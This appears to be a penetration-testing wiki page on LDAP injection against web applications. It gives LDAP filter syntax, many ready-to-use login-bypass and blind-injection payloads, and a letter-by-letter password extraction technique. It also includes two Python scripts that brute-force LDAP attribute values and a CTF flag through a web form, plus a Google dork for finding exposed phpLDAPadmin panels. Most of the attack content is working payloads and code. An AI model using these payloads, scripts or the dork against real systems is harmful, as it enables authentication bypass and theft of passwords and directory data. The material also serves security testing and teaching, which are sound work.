LDAP Injection

LDAP

If you want to know what is LDAP access the following page:

{% page-ref page="../pentesting/pentesting-ldap.md" %}

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

For example: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

You can access to the database, and this can content information of a lot of different types.

OpenLDAP: If 2 filters arrive, only executes the first one. ADAM or Microsoft LDS: With 2 filters they throw an error. SunOne Directory Server 5.0: Execute both filters.

It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.

The filter has to start with: & or | Example: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).

Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi

user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))

user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))

user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))

user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed

user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error

username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.

username=*
password=*)(&
--> (&(user=*)(password=*)(&))

username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Lists

• LDAP_FUZZ
• LDAP Attributes
• LDAP PosixAccount attributes

Blind LDAP Injection

You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))

#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

You can iterate over the ascii letters, digits and symbols:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

Special Blind LDAP Injection (without "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

More Payloads

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection